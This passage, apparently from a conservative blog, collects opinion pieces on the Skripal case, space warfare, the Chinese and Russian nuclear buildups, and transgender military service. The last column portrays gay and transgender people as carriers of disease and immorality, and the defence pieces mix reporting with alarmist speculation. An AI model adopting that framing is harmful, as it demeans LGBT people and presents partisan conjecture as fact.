The incident has drawn parallels to the death of former Russian agent Alexander Litvinenko, who was poisoned with radioactive polonium 11 years ago in London.

Litvinenko, 43, an outspoken critic of Russian President Vladimir Putin, fled Russia for Britain six years before he was poisoned. He died after drinking green tea laced with the rare and very potent radioactive isotope at London’s Millennium Hotel.

In a report published in 2016, a British judge found that Litvinenko was killed in an assassination carried out by Russia’s security services — with the probable approval of Putin. Russia has denied any responsibility for Litvinenko’s death.

There is no evidence of any Kremlin connection in Skripal’s case. But intelligence analyst Glenmore Trenear-Harvey, who formerly worked for MI6, told NBC News that he believes that the case has the hallmarks of Putin’s involvement.


Space Warfare, the New Battlefield

By: Denise Simon | Founders Code

Primer: The Pentagon is considering creating a combatant command for space warfare, the latest step by the Defense Department to respond to Chinese and Russian militarization high above Earth.

The move — one of several under consideration — is mentioned in a new Pentagon report sent to Congress last week. Right now, space forces are dispersed throughout the military and intelligence community.

There are two kinds of combatant commands. Geographic cocoms oversee military operations in six regions of the world. Functional ones — like U.S. Strategic Command and U.S.Transportation Command — oversee operations that span multiple geographical commands. U.S. Cyber Command is considered a subunified command under STRATCOM, but is being elevated to a functional command.

The Pentagon is looking into whether space should have its own combatant command or subunified command (like Cyber Command), the report says. Space forces were grouped under U.S. Space Command, a unified combatant command, until 2002.

The Pentagon is preparing for war should China, Russia, or other adversaries attack vital American satellites and other space systems, a senior Pentagon official told Congress on Wednesday.

The Pentagon has requested $12.5 billion in funding for the fiscal year 2019 that begins Oct. 1 for building up what he termed a “more resilient defendable space architecture.”

The request is $1.1 billion more than funding for last year on military space.

Rood, and Air Force Gen. John Hyten, commander of the Omaha-based Strategic Command, testified on the command’s budget request of $24 billion.

Neither elaborated on what space warfare capabilities are being developed. The Pentagon also has not said how it would deter and defend satellites from attack.

Space defense so far has involved development of intelligence capabilities to identify and assess if an incident in space is an attack, or the result of a malfunction or disruption due to collision with space debris.

Military space “resilience” also calls for the Pentagon to rapidly replace or restore satellites after attacks or other disruptions.

The Pentagon’s Defense Science Board, in a report last year, warned that the vulnerability of U.S. satellites to electronic attack was “a crisis to be dealt with immediately.”

The Joint Staff intelligence directorate warned earlier this year that China and Russia will have fully developed space attack weapons in place by 2020 that will threaten all U.S. satellites in low earth orbit—100 miles to 1,200 miles in space.

“Space is a warfighting domain just like the air, ground, maritime, and cyberspace domains,” Hyten said.

Currently, a defense and intelligence center called the National Space Defense Center, located at Schriever Air Force Base, Colorado, runs 24-hour operations for rapid detection, warning, and defense from space attacks.

War games involving space war also are held regularly with U.S. military forces and allies, including Asian and European allies.

China has conducted at least seven tests of hypersonic vehicles and Russia as well has conducted several hypersonic missile tests.

The hypersonic vehicles are designed to defeat missile defenses. More here.


February 2018: The Pentagon put Advanced Extremely High Frequency satellites in orbit to ensure communication in the event of a nuclear attack. But those spacecraft could also play a role in the rapid militarization of space.

  • Advanced Extremely High Frequency (AEHF) satellites will be able to keep the U.S. military in communication even after a nuclear attack.
  • They’re also more resistant to electronic jamming, which is a growing concern as tensions with China and Russia heat up.
  • In the war of the future, nations may try to physically destroy other nations’ satellites to disrupt communications and navigation.

Your phone is not going to work on the day nuclear war starts. But the U.S. President, National Security Council, and combat commanders count on being able to communicate. This doomsday connection relies on what we call Advanced Extremely High Frequency (AEHF) satellites that sit in geostationary orbit.

“We need systems that work on the worst day in the history of the world,” says Todd Harrison, director of the Aerospace Security Project at the Center for Strategic and International Studies.

There are four AEHF sats in orbit today. The proposed 2019 U.S. Air Force budget shows about $29.8 million in funding to complete two more, which would launch in 2019 and 2020. Air Force staffers say more money has been set aside in 2019 to ready the software and databases for the pair of new sats.

The Air Force talks about the AEHF satellites as part of its new focus on modernizing America’s nuclear abilities. “We must concurrently modernize the entire nuclear triad and the command and control systems that enable its effectiveness,” says Air Force Secretary Heather Wilson. The Trump administration has its eye on nuclear weapons, but these satellites also sit at the nexus of another big defense trend: Space warfare.

The Department of Defense is also investing in new jam-resistant GPS satellites. It is pouring money into future satellite programs, including AEHF, to the tune of $677 million for research and development in 2019. As orbital threats grow, new potential users—especially the U.S. Army—are taking interest in what the doomsday spacecraft can do. Preparing for post-apocalyptic communication may be just the beginning. More here.


US Prepares Forces To Deter Growing Chinese Nuclear Threat

By: Terresa Monroe-Hamilton

According to Bill Gertz’s excellent piece at Asia Times, the “Pentagon’s Nuclear Posture Review outlines a new ‘tailored deterrence’ policy that seeks to persuade Chinese leaders to avoid miscalculations – provocative action in the South China Sea, or hostile activity related to Taiwan or Japan – that could escalate into war.” This means a nuclear and cyber deterrence among other things. It also comes as Russia is unveiling several new nuclear weapons and releasing propaganda showing them striking the US mainland. China is continuing a similar buildup of high-technology strategic nuclear forces that remains secret.

The Cold War has shifted into a phase now that could go hot at any time. While Barack Obama was gutting our defenses, our enemies were spending every dime they had beefing theirs up and preparing for war with us. President Trump now has us on a trajectory to rebuild our military and our defenses, but in a dangerous face-off with our biggest enemies, time is not on our side. The Pentagon’s review covered extensively the secrecy cloaking the Chinese military and the buildup of their nuclear forces. The Pentagon’s new plan is aimed at persuading Chinese leaders to avoid military miscalculations – like provocative actions in the South China Sea, or hostile activities related to Taiwan or Japan – that could quickly escalate into a nuclear exchange. Good luck with that.

The Pentagon’s review gives very little insight into the details of exactly what China’s nuclear forces entail. They did however identify what were called “entirely new nuclear capabilities.” They include several new types of missiles, including hypersonic weapons, satellite-killing missiles and regional intermediate-range nuclear forces. All are huge threats to us as we hurriedly prepare our own hypersonic weapons to counter them. What our leaders fear is a military encounter that morphs into a regional conflict and ends in a nuclear exchange between us and the Chinese. They are right to fear this development as it is very possible.

Chinese President Xi Jinping and other high ranking officials arrive for the opening session of the 19th National Congress of the Communist Party of China at the Great Hall of the People in Beijing, China October 18, 2017. REUTERS/Damir Sagolj

“Our tailored strategy for China is designed to prevent Beijing from mistakenly concluding that it could secure an advantage through the limited use of its theater nuclear capabilities, or that any use of nuclear weapons, however limited, is acceptable,” the review states. But they did not say how tailored deterrence would work. The Pentagon however did say that the United States “will maintain the capability to credibly threaten intolerable damage as Chinese leaders calculate costs and benefits, such that the costs incurred as a result of Chinese nuclear employment, at any level of escalation, would vastly outweigh any benefit.” I think that is a fancy way of saying ‘peace through strength’.

I have no doubt that part of that ‘deterrence’ would be the threat to the Chinese leadership that any future conflict would result in the destruction of the Chinese Communist Party and its military arm, the People’s Liberation Army. Frankly, that should have been done long ago, but now we are in a nuclear dance and the music could end any minute. The Chinese are not dumb by any means and I am sure they have made provisions to protect their leadership and military no matter what.

Military vehicles carrying DF-21D anti-ship ballistic missiles march past the Tiananmen Rostrum during the military parade to commemorate the 70th anniversary of the victory in the Chinese People’s War of Resistance Against Japanese Aggression in Beijing, China, 3 September 2015.

According to Gertz, the PLA already has security systems in place that include networks of underground escape and transit systems to be used by senior Party leaders in a crisis or conflict. For example, the Zhongnanhai leadership compound in Beijing, where Party leaders live and work, includes a terminal for a large underground tunnel and rail system that runs to a major command center west of the city known as the Western Hills. From that command center, other underground trains and tunnels lead to additional secure facilities in various parts of the country. The US already knows where many of these protection facilities are, but I’m sure there are a number we don’t know about as well. The Pentagon has been developing precision-guided bombs and missiles capable of penetrating the underground bunkers and tunnels, but again… it’s not full-proof.

China refuses to engage over their nuclear policies. “We have long sought a dialogue with China to enhance our understanding of our respective nuclear policies, doctrine, and capabilities; to improve transparency; and to help manage the risks of miscalculation and misperception,” the review says. “We hope that China will share this interest and that meaningful dialogue can commence.” I wouldn’t count on it. The Chinese view it as a sign of weakness to engage in such talks and that it is a security breach. The Chinese see any discussion of its strategic nuclear and non-nuclear capabilities – such as nuclear forces, space weapons and cyber-attack capabilities – as undermining deterrence. They feel as long as they keep us in the dark as to what they have, they have the upper hand militarily.

Because China is developing new and formidable capabilities to threaten our interests and those of our allies and partners, the Pentagon is expanding the conditions for using nuclear forces in response to non-nuclear attacks, such as the destruction of satellites or devastating cyber attacks on power grids. “The United States is prepared to respond decisively to Chinese non-nuclear or nuclear aggression,” the review says. While continuing to seek “meaningful dialogue” with China, the United States will use military exercises that demonstrate nuclear strike capabilities, and, second, will increase the range of “graduated nuclear response options available to the President,” the review said.

Chinese tanks are seen in front of launch vehicles for CJ-10 cruise missiles. Photo: Xinhua

China’s Defense Ministry was furious over the nuclear review. Spokesman Ren Guoqiang, repeating standard Beijing propaganda, says the review’s view of China as a threat was a reflection of American anti-communism. “We hope the US side will discard its ‘cold-war mentality,’ shoulder its own special and primary responsibility for nuclear disarmament, understand correctly China’s strategic intentions and take a fair view on China’s national defense and military development,” he said. I suggest we do the exact opposite.

Wisely, our military planners have severe doubts about the Chinese promising not to be the first nation to use nuclear weapons in a conflict. “While China’s declaratory policy and doctrine have not changed, its lack of transparency regarding the scope and scale of its nuclear modernization program raises questions regarding its future intent,” the review states. If China is benefited by such a move and it gives them an upper hand militarily, they will use a first-strike option, just as the Russians would. All signs related to the Chinese nuclear buildup, especially the increase in both numbers and capabilities for short- and medium-range nuclear missiles, suggest Beijing is preparing to use its nuclear arsenal during the early phases of a conflict and not after a nuclear strike on China. Just as we are preparing to do so, China is planning to blend nuclear and conventional military power in tandem.

I suspect, and experts concur, that nuclear explosions in space designed to knock out US intelligence, surveillance, reconnaissance and command and control systems could be a first use of nuclear arms early in a conflict. Once our satellites are taken out, cyber attacks and EMPs would be used to take out infrastructure and our power grid. Then an invasion would occur. Think it can’t happen? Think again. The New Axis of Evil: Russia, China, Iran and North Korea are planning on just such a scenario at a time of their choosing. North Korea is making sounds about talks once again and it is a trap to stall for time.

The nuclear buildup is a central part of what Chinese supreme leader Xi Jinping has announced the PLA will fully modernize by 2050. The weapons include a new road-mobile strategic intercontinental ballistic missile (ICBM), a new multi-warhead version of its DF-5 silo-based ICBM and its most advanced ballistic missile submarine armed with new submarine-launched ballistic missiles (SLBM). A new bomber is also planned that would provide Beijing with a complete nuclear triad. The intermediate-range DF-26, a missile with precision guidance, is also one of the major strategic nuclear missiles that can strike both land and naval targets.

Another indicator is the further development of Chinese missile defenses. China is secretly building two types of long-range missile defenses, a new mid-course defense against incoming ICBMs along with a sea-based mid-course defense and theater ballistic missiles defenses.

Unlike Russia, China does not feel the need to brag about their military. Instead, they are busy making it the largest and most deadly force on the planet. Make no mistake, war is coming and the communists can’t wait. China and Russia are not our friends… they never have been.


Putin Stokes The Flames Of The Cold War: Unveils New Weapons And Targets The US

By: Terresa Monroe-Hamilton

Russian President Vladimir Putin may not be the father of all lies, but he gives Old Scratch a run for his money. This last week, he gave an impressive annual address that certainly seemed to suggest the start of a new Cold War in which Russia showed off new nuclear-powered cruise missiles, drone submarines and other strategic arms designed to attack the United States. Heck, they even showed one weapon targeting Florida. Putin is denying this is the beginning of a new Cold War and calls any such claims propaganda. He boasted that the new cruise missile was tested in December and utilizes small nuclear reactor technology recently developed by Russian weapons designers, making it capable of traveling any distance and renders it all but unstoppable.

“My point of view is the individuals who have said that a new Cold War has started are not really analysts, they do propaganda,” the Russian leader told NBC’s Megyn Kelly in Moscow. “If you were to speak about arms race, then an arms race began at exactly the time and moment when the US opted out of the Anti-Ballistic Missile Treaty.” In point of fact, he is partially correct. This is not the start of a ‘new’ Cold War. The Cold War never ended and he knows it. It shifted. “We’ve started the development of new types of strategic weapons that do not use ballistic flight paths on the way to the target,” Putin said. “This means that the missile defense systems are useless as a counter-means and just senseless.”

Part of the presentation seemed to be a retread of one from 2007, but we all get the point. Putin has even had a page set up so people can help name his weapons now. How cute… not.

The White House wasted no time in responding. Press Secretary Sarah Sanders said the new Russian forces are destabilizing and violate arms agreements. And… they don’t care. Both Russia and China are preparing for war. This is just geopolitical foreplay. “President Putin has confirmed what the United States government has known all along, which Russia has denied: Russia’s been developing destabilizing weapons systems for over a decade, in direct violation of its treaty obligations,” she said. “As the President’s Nuclear Posture review made clear, America is moving forward to modernize our nuclear arsenal and ensure our capabilities are unmatched.” Yes, good thing too. Unfortunately, we are lagging far behind our enemies at the moment.

The State Department was not amused by Putin’s nuclear saber rattling. “We don’t regard that as the behavior of a responsible international player,” spokeswoman Heather Nauert said. Well, whatever gave you the idea they were in the first place? US intelligence claims they already knew about the weapons and that we are prepared to deter them. I certainly hope so, because China and probably Russia both have laser technology now that can take out our satellites as a prelude to a first strike… and that does not include cyber warfare. “We need to ensure we have a credible nuclear deterrent, and we are confident that we are prepared to defend this nation no matter what,” she told reporters.

Putin also confirmed development of a nuclear-armed, long-range underwater drone. The drone submarine was first reported by the Free Beacon in 2015. It is capable of attacking aircraft carrier battle groups, shoreline defenses and infrastructure, and also cannot be countered. The drones can be armed with either nuclear or conventional explosive warheads. That doesn’t exactly make me all warm and fuzzy. Putin also said that the very small, high-powered nuclear reactor on the missile is also being used to power the underwater drone the Pentagon has code-named Kanyon. These underwater drones are capable of diving “to extreme depths” while traversing long distances at speeds several times faster than a torpedo, he said. Now, he may be exaggerating, but I’d rather not find out the hard way.

“They are quiet, highly maneuverable and have hardly any vulnerabilities for the enemy to exploit. There is simply nothing in the world capable of withstanding them,” Putin said. That sounds like a threat. Putin made clear that his nuclear power “is not a bluff” and he told those living in the past to “stop rocking the boat we are all in and which is called the earth.” Putin is up for reelection this year and is expected to win… he’s a dictator. Duh. He says that the US has to pay attention now. I would hope we never quit. His nuclear bluster is a slap back over the US deployment of missile defenses in Europe to counter Iranian missiles.

The Pentagon will also be expanding our missile defenses here in the US in response to these threats. We will also be putting missile defenses in Romania and Poland. Putin says that expanding US missile defenses has nullified “all agreements” under the 2010 New START arms treaty and that the interceptors are targeting Moscow’s missiles. He also said the US withdrawal from the 1972 Anti-Ballistic Missile treaty in 2002 prompted the nuclear arms buildup. We are definitely in an arms race now if you didn’t know that before. Putin has been making fun of Space X and Elon Musk as well. He must fear them.

The Pentagon’s Nuclear Posture Review brought this all about. Putin has decided to play nuclear chicken with us. The Pentagon announced last month it will modify current nuclear warheads to produce low-yield weapons to counter Russia’s development of small warheads. “Russia’s strategic nuclear modernization has increased, and will continue to increase its warhead delivery capacity, and provides Russia with the ability to rapidly expand its deployed warhead numbers,” the report said.

Among the new technical developments, Putin said is “creation of a small-size highly powerful nuclear power plant that can be planted inside the hull of a cruise missile identical to our air-launched X-101 [KH-101] or the United States’ Tomahawk, but at the same time is capable of guaranteeing a flight range that is dozens of times greater, which is practically unlimited.” “A low-flying low-visibility cruise missile armed with a nuclear warhead and possessing a practically unlimited range, unpredictable flight path, and the capability to impregnate practically all interception lines is invulnerable to all existing and future anti-missile and air defense weapons,” Putin said. The nuclear propulsion system produced enough thrust and power during flight tests and ground tests and permit “work to create a fundamentally new type of weapon — a strategic nuclear missile equipped with a nuclear power plant,” Putin said.

Former Pentagon nuclear policymaker Mark Schneider said this was the most rabid speech he had ever heard Putin make. “The missile launch videos are unprecedented,” he said. “Usually he has a paragraph or two of attacks on the US, and then his militarism and nuclear threats. This time it is immediate retaliation and the standard super-weapons pitch only take it to an extreme.” I guess being on the eve of war will boost even a dictator’s testosterone.

The new cruise missile also appears capable of maneuvering during flight, a capability designed to frustrate missile defenses. Our current defenses are designed to take out missiles on a predictable, unchanging trajectory. “This shows the way it will be coping with defense lines,” Putin said of the video. “The range is unlimited, so the maneuvering can go on indefinitely.” Putin says no one else has these capabilities and if they are developed, “our guys will come up with something else by then.”

Putin insisted Russia wants peace, but said any attempt to use nuclear arms against Russian will be met with immediate retaliation. “I believe it as my duty to say this: any use of nuclear weapons of any yield—small, medium, or whatever—against Russia or its allies will be regarded as a nuclear attack against our country. Retaliation will be instant with all the ensuing consequences.” He says they won’t be used for a first strike. Anyone foolish enough to believe that should not be in military intelligence. Putin also bragged that this shows that Russia has rebounded from the Soviet Union’s collapse in 1991.

Putin also disparaged those seeking an arms race and unilateral advantage over Russia through sanctions and other international restrictions on Moscow’s military development. “Everything you have tried to prevent through such a policy has already happened,” he said. “No one has managed to restrain Russia.” Pride goeth before a fall, but arrogance is forever.

Other new arms discussed in the speech include the heavy intercontinental ballistic missile called Sarmat, or RS-28 that Putin said could reach US territory by flying over the South Pole. Polar trajectories are designed to frustrate missile sensors and defenses, including US interceptors based in Alaska. Russia also showed off two variants of hypersonic weapons—ultra-fast missiles that travel at five to ten times the speed of sound. One is an air launched hypersonic vehicle called Kinzhal, or Dagger, that travels at Mach 10, or 7,672 miles per hour, with a range of up to 1,240 miles. The missile can be armed with nuclear or conventional explosive warheads and is being tested for combat duty in southern Russia. The other is a hypersonic missile, a glider deployed from space, that is capable of traveling at Mach 20, or 15,345 miles per hour. It is called Avangard, or Advance Guard. They are also building a laser weapon that was deployed for the first time last year that appeared in a video to be an anti-aircraft weapon.

Putin is saying this is leverage and if Russia had been respected, it wouldn’t be necessary. Bull crap. “Nobody wanted to talk with us on the core of the problem. Nobody listened to us. Now you listen!” he said. I certainly hope the Pentagon is listening and can actually counter all of this. The war drums are deafening.


General Mattis Stages a Transgender Coup

By: Cliff Kincaid

Conservative activist Eugene Delgaudio tells a story of meeting Donald J. Trump and confronting him about his liberal past. Trump assured Delgaudio he has repudiated his past. But the old Trump was on display on Wednesday, when President Trump embraced Democratic Party gun control measures and insulted  Republicans as tools of the NRA. Trump actually endorsed taking guns away from people before judging their fitness to carry a gun. “Take the guns first, go through due process second,” Trump said. His proposal was totalitarian.

In another curious development, Trump has issued an executive order banning transgenders in the military but has let Defense Secretary General Jim Mattis engineer a process to keep them in. Who’s the boss?

With the late evangelist Rev. Billy Graham having been honored in the Capitol Rotunda, it’s appropriate to consider something from the Billy Graham Evangelistic Association on the matter of homosexuality. The ministry notes that, “From Genesis on, the Bible praises the marriage of a man and a woman, but it speaks only negatively of homosexual behavior whenever it is mentioned.” In fact, it says the Old Testament states, “Do not lie with a man as one lies with a woman; that is detestable” (Leviticus 18:22 and 20:13), and the New Testament agrees, listing “homosexual offenders” among a list of people who “will not inherit the kingdom of God” unless they are cleansed through Christ (1 Corinthians 6:9-11).

Of course, some people don’t accept what the Bible has to say on this topic. But the scientific evidence of the health hazards of behavior associated with transgenders and homosexuals cannot be ignored. The Centers for Disease Control notes, “The HIV transmission rate for transgender women is triple that of gay men.” What’s more, the CDC says, “While CDC estimates that four percent of men in the United States are MSM [men who have sex with men] , the rate of new HIV diagnoses among them is more than 44 times that of other men.”

In short, former President Obama’s policy of accepting open homosexuals and transgenders was a dangerous risk to human health and even the blood supply that soldiers on the field of battle may depend on for survival.

In response, President Trump issued a series of Tweets and then a presidential memorandum setting forth the evidence that the pro-transgender policy was implemented without recognizing its negative impact on military effectiveness, lethality, unit cohesion, and military resources. Trump said the United States would not accept transgender individuals to serve in any capacity in the U.S. military.

Billy Graham’s son, the Rev. Franklin Graham, welcomed the decision. In a July 26 post on Facebook, Rev. Franklin Graham said,  “President Donald J. Trump made a bold move today in announcing that the U.S. military will not accept transgender individuals to serve. He’s exactly right. And I’m proud that we have a president who sees and understands the truth.”

Yet, the Center for Military Readiness says Mattis assigned Anthony Kurta, an Obama holdover with a record of LGBT activism before and after the Trump Inauguration, to chair the “panel of experts” that produced a report on transgender policies that includes underwear requirements and bathroom assignments. Kurta was a key speaker at the Pentagon’s gay pride celebration in June 2017.

Despite the clear orders of the Commander-in-Chief, a transgender has been allowed to sign a contract to join the U.S. military.

At this rate, the cross-dressing Corporal Klinger from the comedy show M*A*S*H looks like a serious candidate for the Joint Chiefs of Staff.  The male character had dressed in women’s clothes to get booted out.

Mattis may be a military thinker, but the lifelong bachelor seems not to have a clear  understanding of the importance of traditional family values in the Armed Forces. Under the influence of Obama holdovers, he is encourging chaos, immorality, and disease in the ranks. Americans who believe in traditional values will shun the military if this trend continues.

What’s happening is a modern version of the great film, “Seven Days in May,” when military commanders try to replace a weak Commander-in-Chief because of a presidential “peace” deal with Russia that would leave the nation vulnerable to attack. Today, the issue is the character of the Armed Forces of the United States and the moral integrity of our troops. Trump seems to be facing a coup from Obama holdovers manipulating Mattis.

Making America Great Again was supposed to mean overturning Obama’s policies of Cultural Marxism, not saving and further implementing them. President Trump can stop this erosion of traditional morality and reverse the corrosive effects of Obama’s cultural transformation of the Armed Forces.

Americans have already lost the Boy Scouts to the rainbow lobby. Now they’re losing their beloved Armed Forces to the gays and transgenders. They are looking to President Trump for leadership. But his betrayal on gun rights is not a hopeful sign.